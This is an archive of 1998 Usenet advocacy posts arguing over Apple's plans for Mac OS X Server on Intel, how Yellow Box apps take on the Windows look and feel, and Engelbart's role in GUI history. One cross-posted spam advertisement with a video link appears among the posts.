References: <36099217.345010578@news.newsguy.com> <36233246.148238919@news2.newscene.com> <tsikesEzt45r.FLH@netcom.com> <360ce3a8.431427149@news.newsguy.com> <tsikesEzuMpC.n48@netcom.com> <360BDE30.8DCE947@trilithon.com> <forrestDELETE-THIS!-2509981323590001@term3-12.vta.west.net>
MIME-Version: 1.0
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Date: 26 Sep 1998 18:12:19 GMT
Organization: IBM.NET
On Fri, 25 Sep 1998 20:23:58, forrestDELETE-THIS!@west.net (Forrest
Cameranesi) thought aloud:
> In article <360BDE30.8DCE947@trilithon.com>, Henry McGilton
> <henry@trilithon.com> wrote:
>
> > If Apple want to marginalise and kill Mac o'Sex for Intel,
> > why not both barrels right now? Why go to the trouble of
>
> Because Apple promised that they would release Rhapsody (now Mac OS X
> Server) for PC hardware. They're not gonna go back on their promise and
> risk a lawsuit or the wrath of the general public, but they never said
> that they would CONTINUE to sell Rhapsody for PC hardware. So they release
> one version, and no more. No broken promises.
No broken promises...? So Rhapsody will support Apple's own 1997
PowerMac models after all? I bought one specifically to be ready for
Rhapsody (the Preview release was supposed to be released Q1 '98)
and it would be real funny if my Mac couldn't run it while a cheapo PC
clone costing a few hundred dollars could.
But with Apple emphasizing "Carbon" and downplaying Yellow Box
Rhapsody seems to have lost its attractiveness and momentum anyway.
With every passing day Linux is gathering mindshare as the (only) real
contender to M$'s NT 5 so where's the market for Rhapsody/Intel,
especially if there are only handful of apps available for it?
Rgds,
--
taiQ
[this space is intentionally blank]
From: "Lawson English" <english@primenet.com>
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: A Brief History of the GUI
Date: 28 Sep 98 00:49:38 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B2348DA5-571F6@206.165.43.157>
References: <6undpt$dv$1@eskinews.eskimo.com>
Mime-Version: 1.0
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nntp://news.primenet.com/alt.microsoft.sucks,
nntp://news.primenet.com/comp.sys.mac.advocacy,
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.mac.hardware.misc
Chris Alsan <bgodot@eskimo.com> said:
>
>
>Isn't a mouse just an upside-down trackball?
>
Actually, a trackball is an upside-down mouse. Englebart first published in
the late 50s/early 60's, before there were trackballs, AFAIK.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
Message-ID: <360F587D.CA738A54@alum.mit.edu>
From: Eric Hermanson <eric@alum.mit.edu>
Organization: Digital Universe Corporation
MIME-Version: 1.0
Newsgroups: comp.lang.java.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: MacOS X Server for Intel
References: <36099217.345010578@news.newsguy.com> <36233246.148238919@news2.newscene.com> <tsikesEzt45r.FLH@netcom.com> <360ce3a8.431427149@news.newsguy.com> <tsikesEzuMpC.n48@netcom.com>
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NNTP-Posting-Date: Mon, 28 Sep 1998 05:34:40 EDT
Date: Mon, 28 Sep 1998 02:35:57 -0700
Terry Sikes wrote:
> IMO, they are blowing it badly (since they have a very portable OS
> courtesy of NeXT) and MOSXS for Intel would be a big hit if they'd
> only push forward with it.
I agree - it's a no brainer!
In my opinion, Apple would be well served by doing the following 3 things:
1. Release the necessary source code to MacOS such that independent developers
can port the operating system to foreign environments, most importantly Linux.
2. Continue developing, enhancing, and selling MacOS X Server for Intel. This
is an excellent alternative to Windows NT, and in my opinion it will become the
server OS of choice for medium/large companies across the world.
3. Continue developing MacOS on a two-track plan: fully equipped, higher
performance, higher cost server version + less equipped, lower performance,
lower cost end-user version. I don't see how you can sucessfully merge the two
environments into one OS and make everyone happy (i.e. the administrators who
need speed, features vs. the end-users who don't care about many server level
things and just want a stable, low cost OS).
- Eric Hermanson
Message-ID: <360F9CE3.1F25A371@nstar.net>
From: "Michael J. Peck" <mjpeck@nstar.net>
MIME-Version: 1.0
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.lang.java.advocacy
Subject: Re: MacOS X Server for Intel (was: Re: Windows is dieing on the desktop)
References: <36099217.345010578@news.newsguy.com> <360ce3a8.431427149@news.newsguy.com> <tsikesEzuMpC.n48@netcom.com> <360BDE30.8DCE947@trilithon.com> <forrestDELETE-THIS!-2509981323590001@term3-12.vta.west.net> <FIiROLCWddLd-pn2-QHCH10tPkEvt@localhost> <pulsar-ya02408000R2609981506190001@news-proxy.cso.uiuc.edu> <6ujsdb$61$1@nnrp1.dejanews.com> <pulsar-ya02408000R2609981847050001@news-proxy.cso.uiuc.edu> <6uktef$2gu$1@nnrp1.dejanews.com> <joe.ragosta-2709980742220001@elk60.dol.net> <6ulmur$7td$1@nnrp02.primenet.com> <pulsar-ya02408000R2709981848350001@news-proxy.cso.uiuc.edu> <360ECFB0.340D9918@nstar.net> <pulsar-ya02408000R2709981941460001@news-proxy.cso.uiuc.edu> <360EE09E.395F318B@nstar.net> <pulsar-ya02408000R2809980133040001@news-proxy.cso.uiuc.edu> <360F36FC.318D1E3@nstar.net> <joe.ragosta-2809980632320001@elk33.dol.net>
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NNTP-Posting-Date: Mon, 28 Sep 1998 10:28:58 EDT
Organization: ISPNews http://ispnews.com
Date: Mon, 28 Sep 1998 09:27:47 -0500
Joe Ragosta wrote:
> Windows handling.
What, specifically? The only difference that I know of is that Windows
can do transparent or opaque window drags, but MacOS can only do
transparent drags.
> File handling routines.
Am I mistaken, or does YB use Navigation Services for these things?
> > Again, you're going to have to be specific as to the differences.
>
> YB apps adopt the look and feel of the parent OS--entirely. Windows,
NSWindows, NSWindowController do what?
> file
> handling,
NSOpenPanel, NSSavePanel do what?
> cursors,
NSCursor does what?
> menu behavior,
NSMenu, NSMenuItem, NSMenuItemCell, NSMenuView do what?
> etc. All adopted from the parent OS.
> There is no "YB look and feel".
Widget appearance is adopted from the parent OS. As far as I can tell
95% of the behavior of all GUI items is dictated by Yellow Box.
MJP
From: "xxx" <cub@hotmail.com>
Newsgroups: comp.sys.mac.games.adventure,comp.sys.net-computer.advocacy,comp.sys.next.advocacy,comp.sys.powerpc.advocacy,comp.unix.advocacy,de.comp.advocacy,de.comp.os.os2.advocacy,de.comp.sys.amiga.advocacy,de.rec.spiele.computer.adventure,demon.adverts,de
Subject: Pamela Anderson "HOME" video
Date: Mon, 28 Sep 1998 11:40:42 +0200
Organization: PSINet
Message-ID: <6uoaq8$sr5$2@client2.news.psi.net>
http://pam.climax4all.com
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`
end
Date: Mon, 28 Sep 1998 06:32:31 -0500
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.lang.java.advocacy
Subject: Re: MacOS X Server for Intel (was: Re: Windows is dieing on the desktop)
Message-ID: <joe.ragosta-2809980632320001@elk33.dol.net>
References: <36099217.345010578@news.newsguy.com> <360ce3a8.431427149@news.newsguy.com> <tsikesEzuMpC.n48@netcom.com> <360BDE30.8DCE947@trilithon.com> <forrestDELETE-THIS!-2509981323590001@term3-12.vta.west.net> <FIiROLCWddLd-pn2-QHCH10tPkEvt@localhost> <pulsar-ya02408000R2609981506190001@news-proxy.cso.uiuc.edu> <6ujsdb$61$1@nnrp1.dejanews.com> <pulsar-ya02408000R2609981847050001@news-proxy.cso.uiuc.edu> <6uktef$2gu$1@nnrp1.dejanews.com> <joe.ragosta-2709980742220001@elk60.dol.net> <6ulmur$7td$1@nnrp02.primenet.com> <pulsar-ya02408000R2709981848350001@news-proxy.cso.uiuc.edu> <360ECFB0.340D9918@nstar.net> <pulsar-ya02408000R2709981941460001@news-proxy.cso.uiuc.edu> <360EE09E.395F318B@nstar.net> <pulsar-ya02408000R2809980133040001@news-proxy.cso.uiuc.edu> <360F36FC.318D1E3@nstar.net>
In article <360F36FC.318D1E3@nstar.net>, "Michael J. Peck"
<mjpeck@nstar.net> wrote:
> Pulsar wrote:
>
> [cut]
>
> > A YB application on Windows gains not only the surface look, but also much
> > of the feel. To the user, it is just another Windows application. I'm not
> > talking about putting the Mac experience on Windows. That is not what YB
> > does.
>
> This distinction is obviously not going to go away, so now would be a
> good time for some specifics. What, exactly, is different about a MacOS
> application? I can think of exactly one thing: the menubar.
Windows handling.
File handling routines.
Just to name two things.
>
> > And that hypothesis is wrong (AFAIK). The YB experience is _not_ the same
> > across different platforms.
>
> Again, you're going to have to be specific as to the differences.
YB apps adopt the look and feel of the parent OS--entirely. Windows, file
handling, cursors, menu behavior, etc. All adopted from the parent OS.
There is no "YB look and feel".
--
Regards,
Joe Ragosta
See the Complete Macintosh Page at its new location:
http://www.taylor-design.com/cMacindex.html
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.lang.java.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: MacOS X Server for Intel
Date: Mon, 28 Sep 1998 11:03:40 -0500
Organization: Ericsson North America Inc.
Message-ID: <360FB35C.693E5D91@ericsson.com>
References: <36099217.345010578@news.newsguy.com> <36233246.148238919@news2.newscene.com> <tsikesEzt45r.FLH@netcom.com> <360ce3a8.431427149@news.newsguy.com> <tsikesEzuMpC.n48@netcom.com> <360F587D.CA738A54@alum.mit.edu> <joe.ragosta-2809980629300001@elk33.dol.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Joe Ragosta wrote:
> I agree with this one completely. In fact, I'd go further. YB needs to be
> ported as many places as possible. NT and Win95 are already being done.
> But they should include a YB for Linux, AIX, and as many Unices as
> possible. Heck, YB on mainframes would be a great extension. Heck, they
> should do YB on WinCE if possible.
I think it's a little late to suddenly agree with this. If the Mac
community had been clamoring for this 18, or even 12, months ago, maybe
it would have made a difference and we'd never have seen this laughable
MacOS X roadmap come about. But if I remember, the shouting went
something like: "Apple shouldn't focus on portability because it might
delay shipment of Rhapsody. Apple has to ship Rhapsody on time, that's
the first priority."
Now that Rhapsody is ever-so-late, suddenly portability is important.
Sorry, that train left the station a loooooong time ago.
MJP
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.lang.java.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: MacOS X Server for Intel
Date: Mon, 28 Sep 1998 11:06:19 -0500
Organization: Ericsson North America Inc.
Message-ID: <360FB3FB.3BAF3DAF@ericsson.com>
References: <36099217.345010578@news.newsguy.com> <36233246.148238919@news2.newscene.com> <tsikesEzt45r.FLH@netcom.com> <360ce3a8.431427149@news.newsguy.com> <tsikesEzuMpC.n48@netcom.com> <360F587D.CA738A54@alum.mit.edu> <joe.ragosta-2809980629300001@elk33.dol.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Joe Ragosta wrote:
[cut]
> The way Mac OS X is set up, this shouldn't be a problem. A couple of years
> after its release, it should be smooth and polished enough to make this
> work.
A couple of years after late 1999?! I should hope that by then we have
Perl JIT compilers in Web browsers.
MJP
From: hughesojh@my-dejanews.com
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.lang.java.advocacy
Subject: Re: MacOS X Server for Intel (was: Re: Windows is dieing on the desktop)
Date: Mon, 28 Sep 1998 10:50:57 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6unpmi$uj7$1@nnrp1.dejanews.com>
References: <36099217.345010578@news.newsguy.com> <36233246.148238919@news2.newscene.com> <tsikesEzt45r.FLH@netcom.com> <360ce3a8.431427149@news.newsguy.com> <tsikesEzuMpC.n48@netcom.com> <360BDE30.8DCE947@trilithon.com> <forrestDELETE-THIS!-2509981323590001@term3-12.vta.west.net> <FIiROLCWddLd-pn2-QHCH10tPkEvt@localhost>
Umm.
Why should people who bought a windoze computer benefit from MAC OS X?
Apple are a hardware vendor as well.
If you could run their lovelly new OS on Bintel Hardware, you might be tempted
to be a PeaSee rather than a new G4 like you should.
PeaSee users deserve everything they get...
Christ, if you're really bothered, go buy OpenStep from
http://www.deepspacetech.com
Otherwise, quit your whining.
Hmm.
OS X can run X apps.
So what are you on about no apps?
And what are you on about Linux as a competitor to NT?
NT has one user interface.
It's standardised. It runs a standard set of apps.
The only Dist. of Linux I have seen that does this is the SuSe pack with KDE
and Applixware.
Most dist.s are more like hacker's playthings.
This is not what a companies tech support dept. look for in an OS. They want
something that will be fairly problem free. If there are problems, well I
wouldn't imagine recompiling kernels and such is top on their list of fun
things to do.
KDE is a step in the right direction, but most traditional linux users would
be loath to admit that they actually (god forbid) USED their computers to DO
anything.
Christ. KDE has sparked a big outcry. It seems that it looks too much like a
standard for most Linux enthusiasts.
And all this bitching over the fact that QT is not GPL... most of you idiot
linux hacker types wouldn't know a good thing if it came up and kicked you
real hard in the face.
OS X provides a standard desktop environment that most users will be familiar
with.
It will run Legacy MAC OS, windows, Openstep and Unix apps.
The fact that it is X-Compatible may well be a big draw.
It combines a standard and pleasant to use desktop ENVIRONMENT (the whole lot.
Not just a window manager).
It has Unix'es stability. It could the be the first real competitor to OS/2
warp in some areas.
MAC OS X is a Good Thing (with Caps).
DYS?
OJH
In article <FIiROLCWddLd-pn2-QHCH10tPkEvt@localhost>,
pit@iohk.SPAM-NOT.com (taiQ) wrote:
> On Fri, 25 Sep 1998 20:23:58, forrestDELETE-THIS!@west.net (Forrest
> Cameranesi) thought aloud:
>
> > In article <360BDE30.8DCE947@trilithon.com>, Henry McGilton
> > <henry@trilithon.com> wrote:
> >
> > > If Apple want to marginalise and kill Mac o'Sex for Intel,
> > > why not both barrels right now? Why go to the trouble of
> >
> > Because Apple promised that they would release Rhapsody (now Mac OS X
> > Server) for PC hardware. They're not gonna go back on their promise and
> > risk a lawsuit or the wrath of the general public, but they never said
> > that they would CONTINUE to sell Rhapsody for PC hardware. So they release
> > one version, and no more. No broken promises.
>
> No broken promises...? So Rhapsody will support Apple's own 1997
> PowerMac models after all? I bought one specifically to be ready for
> Rhapsody (the Preview release was supposed to be released Q1 '98)
> and it would be real funny if my Mac couldn't run it while a cheapo PC
> clone costing a few hundred dollars could.
>
> But with Apple emphasizing "Carbon" and downplaying Yellow Box
> Rhapsody seems to have lost its attractiveness and momentum anyway.
> With every passing day Linux is gathering mindshare as the (only) real
> contender to M$'s NT 5 so where's the market for Rhapsody/Intel,
> especially if there are only handful of apps available for it?
>
> Rgds,
> --
> taiQ
>
> [this space is intentionally blank]
>
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: pulsar@springnet1.com (Pulsar)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.lang.java.advocacy
Subject: Re: MacOS X Server for Intel (was: Re: Windows is dieing on the desktop)
Date: Mon, 28 Sep 1998 11:18:20 -0500
Organization: University of Illinois at Urbana-Champaign
Message-ID: <pulsar-ya02408000R2809981118200001@news-proxy.cso.uiuc.edu>
References: <36099217.345010578@news.newsguy.com> <360ce3a8.431427149@news.newsguy.com> <tsikesEzuMpC.n48@netcom.com> <360BDE30.8DCE947@trilithon.com> <forrestDELETE-THIS!-2509981323590001@term3-12.vta.west.net> <FIiROLCWddLd-pn2-QHCH10tPkEvt@localhost> <pulsar-ya02408000R2609981506190001@news-proxy.cso.uiuc.edu> <6ujsdb$61$1@nnrp1.dejanews.com> <pulsar-ya02408000R2609981847050001@news-proxy.cso.uiuc.edu> <6uktef$2gu$1@nnrp1.dejanews.com> <joe.ragosta-2709980742220001@elk60.dol.net> <6ulmur$7td$1@nnrp02.primenet.com> <pulsar-ya02408000R2709981848350001@news-proxy.cso.uiuc.edu> <360ECFB0.340D9918@nstar.net> <pulsar-ya02408000R2709981941460001@news-proxy.cso.uiuc.edu> <360EE09E.395F318B@nstar.net> <pulsar-ya02408000R2809980133040001@news-proxy.cso.uiuc.edu> <360F36FC.318D1E3@nstar.net>
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In article <360F36FC.318D1E3@nstar.net>, "Michael J. Peck"
<mjpeck@nstar.net> wrote:
> Pulsar wrote:
>
> > A YB application on Windows gains not only the surface look, but also much
> > of the feel. To the user, it is just another Windows application. I'm not
> > talking about putting the Mac experience on Windows. That is not what YB
> > does.
>
> This distinction is obviously not going to go away, so now would be a
> good time for some specifics. What, exactly, is different about a MacOS
> application? I can think of exactly one thing: the menubar.
Window handling (more specifically MDI I would suspect), Open/Save dialogs
(remember we're talking Mac OS X and YB here so the old Mac Open/Save
dialogs will be gone and the Windows ones will very likely still be
crappy). All the relative crappiness of the way Windows handles the File
System will be there. The awful color picker would be there too I'd
imagine. It all depends on how much the designers decided to remain
consistent with Windows. I've only seen a couple of screen shots of YB for
Windows apps so I don't really know just how far it goes.
> > We can discuss ifs all we want, but in this case, this if does not match
> > reality and isn't really useful as a hypothetical situation. The user
> > experience with a YB app on Windows is the Windows user experience. If you
> > want to maintain that the Windows experience is "just as nice" as the Mac's
> > then we will disagree.
>
> Then go back and read John's post. He was discussing the extent to which
> Apple would create a cross-platform technology from YB. What you are
> describing is exactly what he said Apple would do; in essence you are
> agreeing with him.
To an extent.
YB is truly cross platform in that the same code base will produce working
applications that are functionally the same. YB is not truly cross platform
in that the interface wholly takes on the aspect of the OS it's been
compiled and run on. You may see that difference as irrelevant or perhaps
less significant than I do.
Is it not in Apple's best interest to encourage more software for the Mac?
Is having the YB on Windows and Mac OS a way to encourage developers to
also develop Mac versions?
Is it better to have more software for the platform even though much of it
matches what's available on Windows?
Is it bad to have a lot of the software available match more or less the
Windows versions?
> > I think you have things wrong here. You don't compile a YB for Windows
> > application using a Windows compiler. There is (if I am not mistaken) a
> > development environment as part of YB for Windows (that wouldn't be
> > included in the run time only libraries... you'd get this as a developer).
>
> Will there be Windows-based developer tools after Rhapsody 1.0? I hadn't
> heard.
If Apple has any interest in having YB on Windows apps, I should think so.
Very likely the developer tools wouldn't be free though. If Apple has not
plans to have YB on Windows past Mac OS X Server, then the discussion is
rather moot anyway. (It looks like Apple will continue YB on Windows given
it's attempts to get a free runtime which would mean the scrapping of DPS
for "EQD" just as in Mac OS X.)
Ryan Tokarek
<pulsar@springnet1.com>
From: hughesojh@my-dejanews.com
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: MacOS X Server for Intel (was: Re: Windows is dieing on the desktop)
Date: Mon, 28 Sep 1998 10:56:59 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6unq1r$v08$1@nnrp1.dejanews.com>
References: <36099217.345010578@news.newsguy.com> <36233246.148238919@news2.newscene.com> <tsikesEzt45r.FLH@netcom.com> <360ce3a8.431427149@news.newsguy.com> <tsikesEzuMpC.n48@netcom.com> <360BDE30.8DCE947@trilithon.com> <01bde8ce$a41330b0$06387880@chewy>
In article <01bde8ce$a41330b0$06387880@chewy>,
"Todd Heberlein (todd at NetSQ dot com)" <todd@dev.null> wrote:
> > If Apple want to marginalise and kill Mac o'Sex for Intel,
> > why not both barrels right now?
>
> PURE SUPPOSITION:
>
> o Experiment - if MacOS X for Intel does well, and it appears to grow
> their market (as opposed to cannibalize Mac hardware sales), they may
> continue the support in the future.
>
Why?
They killed off the PPC clones because it was eating into their current market
share.
MAYBE with the iMac and the way it moves them away from verticle markets might
they do this.
VERY doubtful though.
> o Hedge their bets - While Apple is doing well touting the PowerPC over
> the Intel architecture, the lack of large development investment by IBM
> in the PowerPC may mean the PowerPC's best days are over.
>
Best days over?
Bintel chips match PPC at 2* the clock speed.
This is going to get worse for Bintel with the new copper chips.
> o Apple will re-start cloning, but only on Intel chips. MacOS X for
> Intel is an attempt to see if this could be a viable market and
> convince potential cloners.
>
See above.
> o Keep OpenStep developers - Apple may want to keep current
> OpenStep/Mach/Intel developers happy on their current Intel hardware
> investments.
>
> o Transition NEXTSTEP users - Apple may want to encourage the few
> remaining NEXTSTEP for Intel owners to at least try MacOS X on their
> Intel boxes.
>
Possible.
Maybe that's why they are offering an Intel version of CR1.
They are hoping that the developers will have switched to G4 hardware by their
next upgrade cycle though.
> o Surprises in the works - Apple will announce the MacOS X environment
> for Linux, Free/Net BSD as their long-term Intel support. MacOS X for
> Intel is just a bridge until we get to that point.
>
Quite likely
> Cheers,
>
> Todd
>
>
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: pulsar@springnet1.com (Pulsar)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.lang.java.advocacy
Subject: Re: MacOS X Server for Intel (was: Re: Windows is dieing on the desktop)
Date: Mon, 28 Sep 1998 11:21:51 -0500
Organization: University of Illinois at Urbana-Champaign
Message-ID: <pulsar-ya02408000R2809981121510001@news-proxy.cso.uiuc.edu>
References: <36099217.345010578@news.newsguy.com> <360ce3a8.431427149@news.newsguy.com> <tsikesEzuMpC.n48@netcom.com> <360BDE30.8DCE947@trilithon.com> <forrestDELETE-THIS!-2509981323590001@term3-12.vta.west.net> <FIiROLCWddLd-pn2-QHCH10tPkEvt@localhost> <pulsar-ya02408000R2609981506190001@news-proxy.cso.uiuc.edu> <6ujsdb$61$1@nnrp1.dejanews.com> <pulsar-ya02408000R2609981847050001@news-proxy.cso.uiuc.edu> <6uktef$2gu$1@nnrp1.dejanews.com> <joe.ragosta-2709980742220001@elk60.dol.net> <6ulmur$7td$1@nnrp02.primenet.com> <pulsar-ya02408000R2709981848350001@news-proxy.cso.uiuc.edu> <360ECFB0.340D9918@nstar.net> <pulsar-ya02408000R2709981941460001@news-proxy.cso.uiuc.edu> <360EE09E.395F318B@nstar.net> <pulsar-ya02408000R2809980133040001@news-proxy.cso.uiuc.edu> <360F36FC.318D1E3@nstar.net> <joe.ragosta-2809980632320001@elk33.dol.net> <360F9CE3.1F25A371@nstar.net>
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In article <360F9CE3.1F25A371@nstar.net>, "Michael J. Peck"
<mjpeck@nstar.net> wrote:
> Joe Ragosta wrote:
>
> > Windows handling.
>
> What, specifically? The only difference that I know of is that Windows
> can do transparent or opaque window drags, but MacOS can only do
> transparent drags.
MDI!
> > File handling routines.
>
> Am I mistaken, or does YB use Navigation Services for these things?
On the Mac I should think. On Windows? I don't know. AFAIK, YB on Windows
uses the standard Windows Open/Save dialogs and such.
> > etc. All adopted from the parent OS.
> > There is no "YB look and feel".
>
> Widget appearance is adopted from the parent OS. As far as I can tell
> 95% of the behavior of all GUI items is dictated by Yellow Box.
How much of that has been reworked for the YB on Windows version to match
Windows behaviors?
Ryan Tokarek
<pulsar@springnet1.com>
From: Greg_Anderson@afs.com (Gregory H. Anderson)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.lang.java.advocacy
Subject: Re: MacOS X Server for Intel (was: Re: Windows is dieing on the desktop)
Date: 28 Sep 1998 18:00:31 GMT
Organization: Anderson Financial Systems Inc.
Message-ID: <6uoirv$o9r@shelob.afs.com>
References: <6uog03$s80$2@nnrp02.primenet.com>
John Jensen <jjens@primenet.com> writes
> Pulsar <pulsar@springnet1.com> wrote:
> : YB is truly cross platform in that the same code base will produce
> : working applications that are functionally the same. YB is not truly
> : in that the interface wholly takes on the aspect of the OS it's been
> : cross platform compiled and run on. You may see that difference as
> : irrelevant or perhaps less significant than I do.
>
> Which YB apps are you running? I'd like to try them under NT and see
> how they do. Do you have URLs?
If you are running OPENSTEP/Enterprise, visit <www.netaxs.com/~afs> and
follow the links to download demo copies of WriteUp 2.0 and PasteUp 3.0
for Windows. This is EXACTLY the same source as the upcoming OS/X release,
built with the YB/Windows tools. (Actually, their predecessors from NeXT;
the YB/Windows version is built internally, but we can't release it yet.)
But that should give you a sense of what it means to "adopt" the native
UI conventions. For example, WriteUp/Windows is stuck with the Windows
Open and Save Dialogs, which I detest. And there's no easy way to provide
accessory views in this context, either.
--
Gregory H. Anderson | "We're in the land of the blind,
Visionary Ophthalmologist | selling working eyeballs, and they
Anderson Financial Systems | balk at the choice of color." -- Tony
greg@afs.com (NeXTmail OK) | Lovell, on Mac user reactions to NeXT
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.lang.java.advocacy
Subject: Re: MacOS X Server for Intel (was: Re: Windows is dieing on the desktop)
Date: 28 Sep 1998 18:24:20 GMT
Organization: Primenet (602)416-7000
Message-ID: <6uok8k$95$1@nnrp02.primenet.com>
References: <6uog03$s80$2@nnrp02.primenet.com> <6uoirv$o9r@shelob.afs.com>
Gregory H. Anderson <Greg_Anderson@afs.com> wrote:
: John Jensen <jjens@primenet.com> writes
: > Which YB apps are you running? I'd like to try them under NT and see
: > how they do. Do you have URLs?
: If you are running OPENSTEP/Enterprise, visit <www.netaxs.com/~afs> and
: follow the links to download demo copies of WriteUp 2.0 and PasteUp 3.0
: for Windows. This is EXACTLY the same source as the upcoming OS/X release,
: built with the YB/Windows tools. (Actually, their predecessors from NeXT;
: the YB/Windows version is built internally, but we can't release it yet.)
: But that should give you a sense of what it means to "adopt" the native
: UI conventions.
I don't have OPENSTEP/Enterprise. I look forward to trying a Windows
demo, when available.
: For example, WriteUp/Windows is stuck with the Windows
: Open and Save Dialogs, which I detest. And there's no easy way to provide
: accessory views in this context, either.
I don't like it much either. Perhaps those dialogs are one place where
one-size-fits-all fails. It might be better if we could each choose our
favorite from a small collection.
John
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.lang.java.advocacy
Subject: Re: MacOS X Server for Intel (was: Re: Windows is dieing on the desktop)
Date: 28 Sep 1998 20:12:03 GMT
Organization: Primenet (602)416-7000
Message-ID: <6uoqij$rlj$1@nnrp03.primenet.com>
References: <6uok8k$95$1@nnrp02.primenet.com> <6uol75$oeo@shelob.afs.com>
Gregory H. Anderson <Greg_Anderson@afs.com> wrote:
: John Jensen <jjens@primenet.com> writes
: > I don't have OPENSTEP/Enterprise. I look forward to trying a Windows
: > demo, when available.
: Perhaps you misunderstood. OS/Enterprise is the set of overlay libraries
: and executables that allow OPENSTEP (and soon, YB) applications to run on
: top of a native NT environment. It is NOT the native Intel version of
: OPENSTEP, which replaces (or boots from a separate partition from) NT.
: You can't run ANY OPENSTEP or YB applications under Windows unless you
: have installed these basic files.
I'm not sure I understood it exactly, but I'm not sure I was far wrong.
Are these libraries avaiable to the general public?
John
Message-ID: <360F2079.545ED5BB@trilithon.com>
From: Henry McGilton <henry@trilithon.com>
Organization: Trilithon Research
MIME-Version: 1.0
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: A Brief History of the GUI
References: <360a5c3e.0@news.busprod.com> <bRtP1.3801$R_4.3830723@news3.mia.bellsouth.net> <forrestDELETE-THIS!-2709980957350001@term1-17.simi.west.net> <slrn70stmu.c3a.jason@jhste1.dyn.ml.org> <stevehix-2709981057380001@192.168.1.10> <forrestDELETE-THIS!-2709982159000001@term2-27.simi.west.net>
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NNTP-Posting-Date: Mon, 28 Sep 1998 01:34:05 EDT
Date: Sun, 27 Sep 1998 22:36:57 -0700
Forrest Cameranesi wrote:
* And now that I mention it, I have never heard of this
* Engelbart person. Any URL where I could find info on him?
Here's at least one URL out of several thousands:
http://www.nttlabs.com/
Doug Englebart is credited with inventing the mouse while at
SRI. Here's another URL:
http://www.bootstrap.org
This is supposed to be Englebart's organisation, but it doesn't
respond . . .
Cheers,
........ Henry
============================================================
Henry McGilton | Trilithon Software
Boulevardier, Java Composer | Seroia Research
-------------------------------+----------------------------
mailto:henry@trilithon.com | http://web.trilithon.com
============================================================
From: forrestDELETE-THIS!@west.net (Forrest Cameranesi)
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: A Brief History of the GUI
Message-ID: <forrestDELETE-THIS!-2709982243290001@term2-27.simi.west.net>
References: <360a5c3e.0@news.busprod.com> <bRtP1.3801$R_4.3830723@news3.mia.bellsouth.net> <forrestDELETE-THIS!-2709980957350001@term1-17.simi.west.net> <slrn70stmu.c3a.jason@jhste1.dyn.ml.org> <stevehix-2709981057380001@192.168.1.10> <forrestDELETE-THIS!-2709982159000001@term2-27.simi.west.net> <360F2079.545ED5BB@trilithon.com>
Organization: Obsidian Design / Static Dreams Interactive
Date: Sun, 27 Sep 1998 22:43:29 -0700
NNTP-Posting-Date: Sun, 27 Sep 1998 22:42:50 PDT
In article <360F2079.545ED5BB@trilithon.com>, Henry McGilton
<henry@trilithon.com> wrote:
> Forrest Cameranesi wrote:
> * And now that I mention it, I have never heard of this
> * Engelbart person. Any URL where I could find info on him?
> Here's at least one URL out of several thousands:
>
> http://www.nttlabs.com/
>
> Doug Englebart is credited with inventing the mouse while at
> SRI. Here's another URL:
Oh, yeah. Him. I'm not good with names I don't hear often or only hear in
passing, but I remember the events associated with them. Still, inventing
the mouse is far from inventing the basics of the modern GUI (there were
"GUI"s in old video games, in that it's a User Interface which is
Graphical. But we don't consider those GUIs nowadays, do we? At least not
in the common sense of a general-purpose graphical interface between the
computer and the user).
--
-Forrest Cameranesi
Owner of The Universe, seeking employees for "Ruler" and "Master" positions. Apply at front desk. All prices subject to change. Universe, the Universe logo, and all objects contained within are (TM) and (C) Everything Unlimited, a wholly owned subsidary of Cameranesi Enterprises. Remember:
"We know what you want. We know what you need. We know where you live."
From: "Todd Heberlein (todd at NetSQ dot com)" <todd@dev.null>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: MacOS X Server for Intel (was: Re: Windows is dieing on the desktop)
Date: 28 Sep 1998 22:07:52 GMT
Organization: Net Squared, Inc.
Message-ID: <01bdeb2b$84cd9ab0$06387880@chewy>
